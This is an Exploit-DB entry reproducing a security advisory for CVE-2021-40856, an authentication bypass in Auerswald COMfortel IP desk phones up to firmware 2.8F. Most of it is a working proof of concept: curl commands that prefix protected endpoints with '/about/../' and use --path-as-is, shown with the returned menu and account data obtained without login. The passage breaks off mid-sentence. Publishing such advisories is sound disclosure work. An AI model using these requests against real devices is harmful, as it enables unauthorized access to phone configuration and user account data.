Exploit-DB #50565
Description: Auerswald COMfortel 2.8F - Authentication Bypass
Type: remote
Platform: hardware
Date: 2021-12-06
Author: RedTeam Pentesting GmbH

Exploit:
# Exploit Title: Auerswald COMfortel 2.8F - Authentication Bypass
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
# Version: 1400/2600/3600

Advisory: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass


RedTeam Pentesting discovered a vulnerability in the web-based
configuration management interface of the Auerswald COMfortel 1400 and
2600 IP desktop phones. The vulnerability allows accessing configuration
data and settings in the web-based management interface without
authentication.


Details
=======

Product: Auerswald COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP
Affected Versions: <= 2.8F
Fixed Versions: 2.8G (for COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP)
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: https://www.auerswald.de
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-004
Advisory Status: published
CVE: CVE-2021-40856
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856


Introduction
============

"The COMfortel 2600 IP is an Android-based hybrid VoIP telephone (SIP and
IP system phone), with 4.3" colour touch display and preconfigured
answering machine"

(from the vendor's homepage)


More Details
============

During a penetration test it was discovened that several VoIP phones
(COMfortel 2600 and 1400 IP) by the manufacturer Auerswald allow
accessing administrative functions without login credentials, bypassing
the authentication. This can be achieved by simply prefixing API
endpoints that require authentication with "/about/../", since the
"/about" endpoint does not require any authentication.


Proof of Concept
================

The phones run a web-based management interface on Port 80. If accessed,
the HTTP response code 401 together with a website redirecting to the
path "/statics/pageChallenge.html" is returned. This can for example be
seen using the command-line HTTP client curl[1] as follows:

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/'
HTTP/1.1 401 Unauthorized
[...]

<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------

The website contains JavaScript code that requests the path
"/about?action=get" and loads a JSON document (formatted and shortened
to increase readability):

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/about?action=get'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3673
Date: Mon, 30 Aug 2021 08:39:24 GMT
Server: lighttpd

{
  "DATA": {
    "firmware": {
      "TYPE": "DATAITEM",
      "VALUE": "2.8E",
      "KEY": "firmware"
    },
    "serial": {
      "TYPE": "DATAITEM",
      "VALUE": "[PII_REDACTED]",
      "KEY": "serial"
    },
    [...]
  }
}

------------------------------------------------------------------------

Among other information, this JSON document contains the serial number
and firmware version displayed on the website. This action can be
accessed without authentication. Other endpoints require authentication,
for example the path "/tree?action=get", from which the menu structure
is loaded after successful authentication:

------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/tree?action=get'
HTTP/1.1 401 Unauthorized
[...]

<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------

During the penetration test, it was discovered that this action can
successfully be requested by inserting the prefix "/about/../". In order
to prevent curl from normalizing the URL path, the option "--path-as-is"
must be supplied:

------------------------------------------------------------------------
$ curl --include --path-as-is \
  'http://192.168.1.190/about/../tree?action=get'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3808
Date: Mon, 30 Aug 2021 08:42:11 GMT
Server: lighttpd

{
  "TYPE": "TREENODEPAGE",
  "ITEMS": {
    "COUNT": 2,
    "TYPE": "ITEMLIST",
    "1": {
      "id": 31,
      "text": "applications_settings",
      "TYPE": "TREENODEPAGE",
      "ITEMS": {
        "COUNT": 1,
        "TYPE": "ITEMLIST",
        "0": {
          "target": "pageFunctionkeys.html",
          "id": 32,
          "action": "/functionkeys",
          "text": "key_app",
          "pagename": "Functionkeys",
          "TYPE": "TREENODEPAGE"
        }
      }
    },
    [...]
  }
}
------------------------------------------------------------------------

The endpoint "/account" allows listing account data:

------------------------------------------------------------------------
$ curl --include --path-as-is \
  'http://192.168.1.190/about/../account?action=list'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 793
Date: Mon, 30 Aug 2021 08:43:33 GMT
Server: lighttpd

{
  "DATA": {
    [...]
    "accountList0": {
      "KEY": "accountList0",
      "COUNT": 1,
      "TYPE": "DATAMODEL",
      "VALUE": {
        "0": {
          "ID": 32327,
          "PARENTID": 0,
          "PROVIDER": "ProviderName",
          "NAME": "123 Example User",
          "STATUS": 4,
          "DEFAULT": 1
        }
      },
      [...]
    },
  }
}
------------------------------------------------------------------------

The ID 32327 can then be used to get details about that particular
account